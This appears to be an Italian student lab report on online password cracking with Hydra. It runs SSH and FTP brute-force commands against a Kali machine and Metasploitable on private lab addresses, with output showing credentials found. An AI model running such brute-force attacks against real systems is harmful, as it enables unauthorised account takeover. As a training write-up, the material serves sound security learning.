Authentication cracking con Hydra

In questo report si andranno a fare dei test di password cracking online su vari target.
Il primo target è kali, si andrà quindi a fare il cracking delle proprie credenziali, come servizio scelto c'è SSH, che si andrà prima a startare:

```
┌──(root㉿kali)-[/home/kali]
└─# systemctl status ssh
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; prese>
     Active: active (running) since Fri 2026-01-09 13:26:07 EST; 5s ago
```

Avendo creato 2 wordlist minimal (*user.txt* e *password.txt*) in cui si ha scritto le credenziali corrette in mezzo a varie errate, il cracking durerà pochi secondi. Nella realtà è un processo che può portare via giornate. In questo primo comando si useranno entrambe le modalità degli switch.

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -l kali -P /home/kali/Desktop/password.txt 192.168.50.100 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secre
t service organizations, or for illegal purposes (this is non-binding, these *** ignore laws an
d ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-09 13:43:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to redu
ce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: kali   password: kali
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-09 13:43:32
```

Tramite il comando nell'immagine sopra si ha specificato di usare uno user specifico "kali" e una wordlist di password. Il cracking è avvenuto con successo.

Effettuando lo stesso cracking con target Metasploitable si ha riscontrato un errore di incompatibilità tra la versione moderna di Kali e la vecchia versione di SSH su Metasploitable, come si può vedere nell'immagine sottostante:

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -l msfadmin -P /home/kali/Desktop/password.txt 192.168.51.101 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secre
t service organizations, or for illegal purposes (this is non-binding, these *** ignore laws an
d ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-09 13:38:32
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to redu
ce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:1/p:6), ~1 try per task
[DATA] attacking ssh://192.168.51.101:22/
[ERROR] could not connect to ssh://192.168.51.101:22 - kex error : no match for method mac algo
 client->server: server [hmac-md5,hmac-sha1,umac-64@openssh.com,hmac-ripemd160,hmac-ripemd160@o
penssh.com,hmac-sha1-96,hmac-md5-96], client [hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@o
penssh.com,hmac-sha2-256,hmac-sha2-512]
```

In questo caso per connettersi in SSH da Kali sulla Meta si dovrebbe specificare l'uso dell'algoritmo obsoleto utilizzato da Meta. Si ha effettuato il test per dimostrare la veridicità della possibilità.

```
┌──(root㉿kali)-[/home/kali]
└─# ssh -oHostKeyAlgorithms=+ssh-rsa -oPubkeyAcceptedAlgorithms=+ssh-rsa m
sfadmin@192.168.51.101
The authenticity of host '192.168.51.101 (192.168.51.101)' can't be establ
ished.
RSA key fingerprint is: SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.51.101' (RSA) to the list of known hos
ts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
msfadmin@192.168.51.101's password:
```

Appurato ciò, dopo aver enumerato le porte aperte con nmap, si ha proseguito tentando il cracking di Meta su servizio FTP, che come evidenzia l'immagine è avvenuto con successo.

```
┌──(root㉿kali)-[/home/kali]
└─# hydra -L /home/kali/Desktop/user.txt -P /home/kali/Desktop/password.txt ftp://192.168.51.101
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-09 14:01:18
[DATA] max 16 tasks per 1 server, overall 16 tasks, 30 login tries (l:5/p:6), ~2 tries per task
[DATA] attacking ftp://192.168.51.101:21/
[21][ftp] host: 192.168.51.101   login: msfadmin   password: meta05sp
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-09 14:01:25
```